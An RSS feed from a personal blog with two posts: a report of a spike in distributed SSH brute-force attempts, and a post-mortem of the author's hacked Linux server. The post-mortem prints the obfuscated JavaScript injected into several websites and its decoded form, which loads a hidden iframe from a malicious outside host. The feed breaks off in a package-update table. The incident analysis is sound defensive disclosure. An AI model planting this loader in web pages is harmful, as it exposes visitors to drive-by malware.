<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Something better to do &#187; Computer Security</title>
	<atom:link href="http://blog.kamens.us/category/computers/computer-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.kamens.us</link>
	<description>Musings of an indignant mind</description>
	<lastBuildDate>Mon, 06 Feb 2012 22:35:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
			<item>
		<title>Ongoing large-scale distributed SSH brute-force attack</title>
		<link>http://blog.kamens.us/2011/12/04/ongoing-large-scale-distributed-ssh-brute-force-attack/</link>
		<comments>http://blog.kamens.us/2011/12/04/ongoing-large-scale-distributed-ssh-brute-force-attack/#comments</comments>
		<pubDate>Sun, 04 Dec 2011 05:20:15 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2561</guid>
		<description><![CDATA[In the past, securing SSH on the public internet has been pretty much as easy as (a) keep your OS patched, (b) don&#8217;t let root log in with a password, and (c) run fail2ban to stop brute-force attacks. Unfortunately, it looks like the bad guys have finally figured out how to put their bots to [...]]]></description>
			<content:encoded><![CDATA[<p>In the past, securing SSH on the public internet has been pretty much as easy as (a) keep your OS patched, (b) don&#8217;t let root log in with a password, and (c) run fail2ban to stop brute-force attacks.</p>
<p>Unfortunately, it looks like the bad guys have finally figured out how to put their bots to work running distributed SSH brute-force attacks. If so, then fail2ban is no longer going to be good enough, and more sophisticated (and inconvenient) measures are going to be needed.</p>
<p>Prior to December 1, the five machines I maintain with SSH servers accessible to the public have been probed by an average of 13 different IP addresses per day. On December 1, they were probed by 109 different IP addresses, a 738% increase over the prior average. On December 2 and 3, they were probed by 79 and 72 different IP addresses. Not as high as the first day, but still quite a jump!</p>
<p>I saw this increase across the board on five different machines on four distinct networks run by four different network service providers. I&#8217;ve been in correspondence with someone at the SANS Internet Storm Center who says he&#8217;s seen a similar spike on machines he maintains.</p>
<p>It seems clear to me that someone is engaging in a distributed brute-force attack trying to break into servers as root via ssh.</p>
<p><span id="more-2561"></span>Since this particular attack is targeted at the root user, you&#8217;re safe for the time being as long as you don&#8217;t allow root to log in with a password. But it&#8217;s only a matter of time before they start attempting distributed brute-force attacks of non-root accounts. When that happens, blocking individual IP addresses with a series of failed login attempts is no longer going to be sufficient.</p>
<p>If you maintain a server whose SSH port is open to the public, please let me know the details if you&#8217;re seeing a similar attack on your server (you can post a comment here or <a href="mailto:jik@kamens.us">email me</a>. In case it is useful, <a href="http://stuff.mit.edu/~jik/software/ssh-logs.pl.txt" target="_blank">here</a> is the script I have been using to collect and display data from the machines I maintain.</p>
<p>UPDATE: It looks like it&#8217;s dying down. As of December 8, SSH brute-force attempts from distinct IP addresses are at or near their pre-spike levels:</p>
<p><a href="http://blog.kamens.us/wp-content/uploads/2011/12/Dec_8.png"><img class="aligncenter size-medium wp-image-2581" title="December 8" src="http://blog.kamens.us/wp-content/uploads/2011/12/Dec_8-300x209.png" alt="" width="300" height="209" /></a>Either somebody&#8217;s managed to put a stop to whatever was executing this attack, or the attackers have gone back to the drawing board and are tweaking their bots in preparation for the next attack. :-/</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/12/04/ongoing-large-scale-distributed-ssh-brute-force-attack/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
			<item>
		<title>Post-mortem of security breach on my Linux server</title>
		<link>http://blog.kamens.us/2011/09/16/post-mortem-of-security-breach-on-my-linux-server/</link>
		<comments>http://blog.kamens.us/2011/09/16/post-mortem-of-security-breach-on-my-linux-server/#comments</comments>
		<pubDate>Fri, 16 Sep 2011 19:58:42 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2433</guid>
		<description><![CDATA[On the afternoon of September 15, I started getting some strange email messages from cron on my Linux server, which hosts my email, blog, DNS, and several web sites for various non-profit organizations I&#8217;m involved with. (Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="margin-bottom: 5px;" title="Security Breach" src="http://photos.autoexpress.co.uk/images/front_picture_library_UK/dir_473/car_photo_236739_7.jpg" alt="" width="150" height="100" />On the afternoon of September 15, I started getting some strange email messages from cron on my Linux server, which hosts my email, blog, DNS, and several web sites for various non-profit organizations I&#8217;m involved with.</p>
<p>(Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically fetches the URL /cron.php on the site. Each time /cron.php is fetched, Drupal checks if any scheduled tasks came due since the last time it was fetched, and executes the PHP code for those tasks. The scheduled tasks aren&#8217;t actually supposed to generate any output, so the cron job that fetches /cron.php shouldn&#8217;t generate any output and therefore shouldn&#8217;t cause cron to send email.)</p>
<p>All the sudden, the cron job that fetches /cron.php started sending me email every time that it ran. When I looked closely, I saw that the contents of the email were some strange, totally incomprehensible JavaScript fragment. I was incredibly busy, so although I thought it was curious that this should suddenly start happening, I didn&#8217;t immediately give much thought to it. After it had been stewing in the back of my mind for a couple of hours, however, I suddenly realized with a start that some script kiddie had almost certainly broken into the server and added malicious JavaScript to its pages, so I had no choice but to stop what I was doing and clean up the mess.</p>
<p><span id="more-2433"></span>It turned out that two Drupal files, /index.php and /includes/bootstrap.inc, had indeed had malicious JavaScript appended to the end of them:</p>
<p style="padding-left: 30px;">&lt;script&gt;b=new function(){return 2;};if(!+b)String.prototype.test=&#8221;harC&#8221;;for(i in $=&#8217;esrhserh&#8217;)if(i==&#8217;te&#8217;+'st&#8217;)m=$[i];try{new Object().wehweh();}catch(q){ss=&#8221;";}try{window['e'+'v'+'al'](&#8216;asdas&#8217;)}catch(q){s=String["fr"+"omC"+m+"od"+'e'];}d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd=&#8221;e&#8221;;if({}.asd===&#8217;e')a=document['c'+'r'+'e'+'a'+'t'+'e'+'T'+'e'+'x'+'t'+'N'+'o'+'d'+'e'](&#8217;321&#8242;);if(a.data==321)t=-1*(d-d2);n=[-t+7,-t+7,-t+103,-t+100,-t+30,-t+38,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+39,-t+121,-t+7,-t+7,-t+7,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+57,-t+7,-t+7,-t+123,-t+30,-t+99,-t+106,-t+113,-t+99,-t+30,-t+121,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+117,-t+112,-t+103,-t+114,-t+99,-t+38,-t+32,-t+58,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+30,-t+113,-t+112,-t+97,-t+59,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+30,-t+117,-t+103,-t+98,-t+114,-t+102,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+113,-t+114,-t+119,-t+106,-t+99,-t+59,-t+37,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+56,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+57,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+56,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+57,-t+106,-t+99,-t+100,-t+114,-t+56,-t+46,-t+57,-t+114,-t+109,-t+110,-t+56,-t+46,-t+57,-t+37,-t+60,-t+58,-t+45,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+60,-t+32,-t+39,-t+57,-t+7,-t+7,-t+123,-t+7,-t+7,-t+100,-t+115,-t+108,-t+97,-t+114,-t+103,-t+109,-t+108,-t+30,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+121,-t+7,-t+7,-t+7,-t+116,-t+95,-t+112,-t+30,-t+100,-t+30,-t+59,-t+30,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+97,-t+112,-t+99,-t+95,-t+114,-t+99,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+38,-t+37,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+113,-t+112,-t+97,-t+37,-t+42,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+59,-t+37,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+59,-t+37,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+106,-t+99,-t+100,-t+114,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+114,-t+109,-t+110,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+117,-t+103,-t+98,-t+114,-t+102,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+44,-t+95,-t+110,-t+110,-t+99,-t+108,-t+98,-t+65,-t+102,-t+103,-t+106,-t+98,-t+38,-t+100,-t+39,-t+57,-t+7,-t+7,-t+123];for(i=0;i&lt;n.length;i++)ss+=s(eval(&#8220;n&#8221;+&#8221;["+"i]&#8220;));eval(ss);&lt;/script&gt;</p>
<p>Since this Drupal site is hardly used nowadays and hasn&#8217;t been updated in a long time, my first guess was that somebody had found a way to take advantage of an old Drupal bug to modify files within the site&#8217;s filesystem hierarchy. However, the thing I couldn&#8217;t immediately explain was that neither the modified files nor the directory they lived in were writable by the &#8220;apache&#8221; user which which owns the web server processes. I said to myself, &#8220;Either I&#8217;m missing something, or whoever did this had root access to my server.&#8221; Since I was still incredibly busy, I decided at least for the time being to be optimistic and assume the former because the latter was sure to turn out to be a much bigger pain to deal with. Therefore, I restored the unhacked versions of the files, changed the ownership of all the files in the hierarchy to root, removed write access from the entire hierarchy to everyone, and got on with my day. This was a mistake.</p>
<p>Shortly after, when I was just about to leave the house to go to curriculum night at my kids&#8217; school, I noticed an email message in my inbox saying that another web site I host, an actively maintained MediaWiki site, was reporting an internal server error when people tried to access it. Since it&#8217;s unlikely that the current MediaWiki version would have an unpatched security bug being actively exploited, and even more unlikely that an attacker would exploit separate Drupal and MediaWiki bugs to gain access to a server, it was immediately obvious that someone had, in fact, broken into my server, and I was in for a long night. In the time I had available, all I could do was shut down the web server processes so my server wouldn&#8217;t be serving malicious content onto the web; the next few hours were not my most attentive curriculum night.</p>
<p>Here&#8217;s an overview of what I discovered when I performed a full investigation and mitigation:</p>
<ul>
<li>The MediaWiki files that were modified, with the same JavaScript, were /index.php and /includes/Title.php.</li>
<li>My SSH daemon as well as a number of other SSH executables were replaced. I think the new version which ignored /etc/hosts.deny and had a backdoor to allow root access without going through PAM.</li>
<li>Several other web sites I host were hacked with the same JavaScript:</li>
<ul>
<li>/index.php and /wp-feed.php on my WordPress blog</li>
<li>/charter.html and /index.html on a raw-HTML web site</li>
<li>/index.php on a CMS Made Simple web site</li>
<li>/index.html in the root directory for the default web site (i.e., /var/www/html/index.html on the server filesystem)</li>
<li>/index.php and /includes/footer.php on a currently unused and out-of-date Joomla! web site</li>
</ul>
<li>Here&#8217;s what the obfuscated JavaScript shown above tries to execute:
<pre>if (document.getElementsByTagName('body')[0]) {
    iframer();
}
else  {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src','http://googlecheck.cz.cc/index.php?tp=e959139e7f601264');
    f.style.visibility='hidden';
    f.style.position='absolute';
    f.style.left='0';
    f.style.top='0';
    f.setAttribute('width','10');
    f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}</pre>
</li>
<li>Google Chrome is smart enough to detect and warn about this malicious JavaScript. Firefox isn&#8217;t. I didn&#8217;t try any other browsers.</li>
</ul>
<p>Additional details about what was changed are included below. I saved copies of all of the modified executables and most of the modified web site files, so if you work in internet security by vocation or avocation and feel like disassembling some hacked SSH binaries to see what makes them tick, let me know.</p>
<p>Unfortunately, I can&#8217;t say exactly how the hacker broke into my server. It&#8217;s possible that he took advantage of an unpatched security hole in my virtual machine, but it&#8217;s also possible that he broke into the physical server hosting it, because my VM runs on a VPS infrastructure, in which anyone who with access to the host server has access to all of the processes and files owned by the individual VPSes.</p>
<p>In addition to restoring all of the modified web site files and executables (I ran a complete audit with &#8220;rpm &#8211;verify -a&#8221; as well as comparing the whole filesystem to its previous night&#8217;s backup from before the break-in), I took the following steps to (I hope) protect my server against future incursions:</p>
<ul>
<li>I updated a whole bunch of RPMs on my appliance (full list below), many of which no doubt contained security fixes.</li>
<li>I fixed the configuration of yum-updatesd so that it will (at least I hope it will; I will follow up later to make certain) notify me promptly when future updates are available. I already had it running but configured to send notifications via dbus rather than email, which didn&#8217;t do any good because I never log into the VPS on a graphical console. Shame on me for not making sure this was working properly before.</li>
<li>I reset all of the passwords for accounts that had passwords (accounts whose only access is via SSH public-key authentication do not have passwords).</li>
<li>I changed my own account password not only on my server, but also everywhere else where I used the same password.</li>
</ul>
<h2>More details about the method and content of the attack</h2>
<p>Some interesting log entries from /var/log/secure around when the break-in happened:</p>
<pre>Sep 15 12:28:20 jik3 sshd[3188]: Connection closed by 63.223.110.54
Sep 15 12:37:32 jik3 sshd[1408]: Received signal 15; terminating.
Sep 15 12:37:33 jik3 sshd[16375]: Server listening on 0.0.0.0 port 22.
Sep 15 12:37:55 jik3 sshd[16388]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 12:38:01 jik3 sshd[16435]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:06:53 jik3 sshd[27758]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:06:58 jik3 sshd[27890]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:07:48 jik3 sshd[28345]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:08:10 jik3 sshd[28527]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:09:14 jik3 sshd[28926]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:09:15 jik3 sshd[28929]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:11:32 jik3 sshd[29832]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:11:34 jik3 sshd[29834]: pam_unix(sshd:session): session opened for user root by (uid=0)</pre>
<p>I reviewed all of my logs, and this is the only trace I found of the attack (there didn&#8217;t even seem to be anything left behind in /root/.bash_profile, although I suppose it&#8217;s possible that I accidentally erased it). My best educated guess is that the first log line above is a hint that the attacker used a bug in sshd or one of the libraries it links against, probably a buffer overflow or something like that, to gain access to the server. The second and third lines are when the attacker restarted his version of /usr/sbin/sshd. The subsequent lines are him logging in through the modified sshd.</p>
<p>It&#8217;s worth noting that I have a monitor running on my box which notifies me about abnormal syslog messages on a minute-by-minute basis 24&#215;7, but all of the messages above are considered normal so I wasn&#8217;t notified them. I would have been notified if sshd had logged &#8220;Accepted publickey|password for root from <em>IP-address-that-I-don&#8217;t-usually-use</em>,&#8221; but alas the hacker&#8217;s version of sshd suppressed this log message.</p>
<p>The following SSH executables were all modified at 12:36pm:</p>
<ul>
<li>/usr/sbin/sshd</li>
<li>/usr/bin/ssh-keygen</li>
<li>/usr/bin/scp</li>
<li>/usr/bin/sftp</li>
<li>/usr/bin/ssh</li>
<li>/usr/bin/ssh-add</li>
<li>/usr/bin/ssh-agent</li>
<li>/usr/bin/ssh-keygen</li>
<li>/usr/bin/ssh-keyscan</li>
</ul>
<p>In addition, the files /usr/libexec/sftp-server and /usr/libexec/ssh-keysign, and/usr/share/Ssh.bin were added. The latter was a 600-byte file containing unidentified binary data. The &#8220;file&#8221; utility claims that it is a &#8220;DBase 3 data file (507582464 records),&#8221; which is obviously totally bogus.</p>
<p>Also, a bunch of man pages were added in /usr/share/man: man1/scp.1, man1/sftp.1, man1/slogin.1, man1/ssh-add.1, man1/ssh-agent.1, man1/ssh-keygen.1, man1/ssh-keyscan.1, man1/ssh.1, man5/ssh_config.5, man5/sshd_config.5, man8/sftp-server.8, man8/ssh-keysign.8, and man8/sshd.8. I must admit that it was very considerate for the attacker to include man pages for the binaries he installed! *rimshot*</p>
<h2>Full list of updated RPMs</h2>
<p>Perhaps somebody who follows security patching more closely than I do nowadays can look at this and tell me which of the old RPMs on my server was the attack vector.</p>
<table border="">
<tbody>
<tr>
<th>RPM</th>
<th>Old version</th>
<th>New version</th>
</tr>
<tr>
<td>SysVinit</td>
<td>2.86-15.el5</td>
<td>2.86-17.el5</td>
</tr>
<tr>
<td>apr</td>
<td>1.2.7-11.el5_5.3</td>
<td>1.2.7-11.el5_6.5</td>
</tr>
<tr>
<td>apr-devel</td>
<td>1.2.7-11.el5_5.3</td>
<td>1.2.7-11.el5_6.5</td>
</tr>
<tr>
<td>audit</td>
<td>1.7.17-3.el5</td>
<td>1.7.18-2.el5</td>
</tr>
<tr>
<td>audit-libs</td>
<td>1.7.17-3.el5</td>
<td>1.7.18-2.el5</td>
</tr>
<tr>
<td>audit-libs-python</td>
<td>1.7.17-3.el5</td>
<td>1.7.18-2.el5</td>
</tr>
<tr>
<td>authconfig</td>
<td>5.3.21-6.el5</td>
<td>5.3.21-7.el5</td>
</tr>
<tr>
<td>avahi</td>
<td>0.6.16-9.el5_5</td>
<td>0.6.16-10.el5_6</td>
</tr>
<tr>
<td>avahi-glib</td>
<td>0.6.16-9.el5_5</td>
<td>0.6.16-10.el5_6</td>
</tr>
<tr>
<td>awstats</td>
<td>6.95-1.el5.rf</td>
<td>7.0-2.el5.rf</td>
</tr>
<tr>
<td>bash</td>
<td>3.2-24.el5</td>
<td>3.2-32.el5</td>
</tr>
<tr>
<td>centos-release</td>
<td>5-5.el5.centos</td>
<td>5-7.el5.centos</td>
</tr>
<tr>
<td>centos-release-notes</td>
<td>5.5-0</td>
<td>5.7-0</td>
</tr>
<tr>
<td>coreutils</td>
<td>5.97-23.el5_4.2</td>
<td>5.97-34.el5</td>
</tr>
<tr>
<td>cpp</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>cryptsetup-luks</td>
<td>1.0.3-5.el5</td>
<td>1.0.3-8.el5</td>
</tr>
<tr>
<td>cups-libs</td>
<td>1.3.7-18.el5_5.8</td>
<td>1.3.7-26.el5_6.1</td>
</tr>
<tr>
<td>curl</td>
<td>7.15.5-9.el5</td>
<td>7.15.5-9.el5_7.4</td>
</tr>
<tr>
<td>cyrus-imapd</td>
<td>2.3.7-7.el5_4.3</td>
<td>2.3.7-12.el5</td>
</tr>
<tr>
<td>cyrus-imapd-perl</td>
<td>2.3.7-7.el5_4.3</td>
<td>2.3.7-12.el5</td>
</tr>
<tr>
<td>cyrus-imapd-utils</td>
<td>2.3.7-7.el5_4.3</td>
<td>2.3.7-12.el5</td>
</tr>
<tr>
<td>dbus</td>
<td>1.1.2-14.el5</td>
<td>1.1.2-16.el5_7</td>
</tr>
<tr>
<td>dbus-devel</td>
<td>1.1.2-14.el5</td>
<td>1.1.2-16.el5_7</td>
</tr>
<tr>
<td>dbus-libs</td>
<td>1.1.2-14.el5</td>
<td>1.1.2-16.el5_7</td>
</tr>
<tr>
<td>device-mapper</td>
<td>1.02.39-1.el5_5.2</td>
<td>1.02.63-4.el5</td>
</tr>
<tr>
<td>device-mapper-multipath</td>
<td>0.4.7-34.el5_5.6</td>
<td>0.4.7-46.el5_7.1</td>
</tr>
<tr>
<td>dmidecode</td>
<td>2.10-3.el5</td>
<td>2.11-1.el5</td>
</tr>
<tr>
<td>dmraid</td>
<td>1.0.0.rc13-63.el5</td>
<td>1.0.0.rc13-65.el5</td>
</tr>
<tr>
<td>dmraid-events</td>
<td>1.0.0.rc13-63.el5</td>
<td>1.0.0.rc13-65.el5</td>
</tr>
<tr>
<td>e2fsprogs</td>
<td>1.39-23.el5_5.1</td>
<td>1.39-33.el5</td>
</tr>
<tr>
<td>e2fsprogs-devel</td>
<td>1.39-23.el5_5.1</td>
<td>1.39-33.el5</td>
</tr>
<tr>
<td>e2fsprogs-libs</td>
<td>1.39-23.el5_5.1</td>
<td>1.39-33.el5</td>
</tr>
<tr>
<td>emacs</td>
<td>21.4-20.el5</td>
<td>21.4-24.el5</td>
</tr>
<tr>
<td>emacs-common</td>
<td>21.4-20.el5</td>
<td>21.4-24.el5</td>
</tr>
<tr>
<td>finger</td>
<td>0.17-32.2.1.1</td>
<td>0.17-33</td>
</tr>
<tr>
<td>gcc</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>gcc-c++</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>gdb</td>
<td>7.0.1-23.el5_5.2</td>
<td>7.0.1-37.el5_7.1</td>
</tr>
<tr>
<td>gdbm</td>
<td>1.8.0-26.2.1</td>
<td>1.8.0-26.2.1.el5_6.1</td>
</tr>
<tr>
<td>ghostscript</td>
<td>8.15.2-9.12.el5_5</td>
<td>8.70-6.el5_7.3</td>
</tr>
<tr>
<td>giflib</td>
<td>4.1.3-7.1.el5_3.1</td>
<td>4.1.3-7.3.3.el5</td>
</tr>
<tr>
<td>glibc</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>glibc-common</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>glibc-devel</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>glibc-headers</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>gnome-vfs2</td>
<td>2.16.2-6.el5_5.1</td>
<td>2.16.2-8.el5</td>
</tr>
<tr>
<td>gzip</td>
<td>1.3.5-11.el5.centos.1</td>
<td>1.3.5-13.el5.centos</td>
</tr>
<tr>
<td>hal</td>
<td>0.5.8.1-59.el5</td>
<td>0.5.8.1-62.el5</td>
</tr>
<tr>
<td>httpd</td>
<td>2.2.3-43.el5.centos.3</td>
<td>2.2.3-53.el5.centos.1</td>
</tr>
<tr>
<td>httpd-devel</td>
<td>2.2.3-43.el5.centos.3</td>
<td>2.2.3-53.el5.centos.1</td>
</tr>
<tr>
<td>hwdata</td>
<td>0.213.18-1.el5.1</td>
<td>0.213.24-1.el5</td>
</tr>
<tr>
<td>initscripts</td>
<td>8.45.30-3.el5.centos</td>
<td>8.45.38-2.el5.centos</td>
</tr>
<tr>
<td>jwhois</td>
<td>3.2.3-8.el5</td>
<td>3.2.3-12.el5</td>
</tr>
<tr>
<td>kernel-headers</td>
<td>2.6.18-194.32.1.el5</td>
<td>2.6.18-274.3.1.el5</td>
</tr>
<tr>
<td>kpartx</td>
<td>0.4.7-34.el5_5.6</td>
<td>0.4.7-46.el5_7.1</td>
</tr>
<tr>
<td>krb5-devel</td>
<td>1.6.1-36.el5_5.6</td>
<td>1.6.1-62.el5</td>
</tr>
<tr>
<td>krb5-libs</td>
<td>1.6.1-36.el5_5.6</td>
<td>1.6.1-62.el5</td>
</tr>
<tr>
<td>less</td>
<td>436-2.el5</td>
<td>436-7.el5</td>
</tr>
<tr>
<td>libXfont</td>
<td>1.2.2-1.0.3.el5_1</td>
<td>1.2.2-1.0.4.el5_7</td>
</tr>
<tr>
<td>libbdevid-python</td>
<td>5.1.19.6-61.el5_5.2</td>
<td>5.1.19.6-71.el5</td>
</tr>
<tr>
<td>libgcc</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libgcj</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libgomp</td>
<td>4.4.0-6.el5</td>
<td>4.4.4-13.el5</td>
</tr>
<tr>
<td>libpng</td>
<td>1.2.10-7.1.el5_5.3</td>
<td>1.2.10-7.1.el5_7.5</td>
</tr>
<tr>
<td>libselinux</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libselinux-devel</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libselinux-python</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libselinux-utils</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libsmbclient</td>
<td>3.0.33-3.29.el5_5.1</td>
<td>3.0.33-3.29.el5_7.4</td>
</tr>
<tr>
<td>libstdc++</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libstdc++-devel</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libsysfs</td>
<td>2.0.0-6</td>
<td>2.1.0-1.el5</td>
</tr>
<tr>
<td>libtiff</td>
<td>3.8.2-7.el5_5.5</td>
<td>3.8.2-7.el5_6.7</td>
</tr>
<tr>
<td>libuser</td>
<td>0.54.7-2.1.el5_4.1</td>
<td>0.54.7-2.1.el5_5.2</td>
</tr>
<tr>
<td>libvolume_id</td>
<td>095-14.21.el5_5.1</td>
<td>095-14.27.el5</td>
</tr>
<tr>
<td>libxml2</td>
<td>2.6.26-2.1.2.8.el5_5.1</td>
<td>2.6.26-2.1.12</td>
</tr>
<tr>
<td>libxml2-devel</td>
<td>2.6.26-2.1.2.8.el5_5.1</td>
<td>2.6.26-2.1.12</td>
</tr>
<tr>
<td>libxml2-python</td>
<td>2.6.26-2.1.2.8.el5_5.1</td>
<td>2.6.26-2.1.12</td>
</tr>
<tr>
<td>logrotate</td>
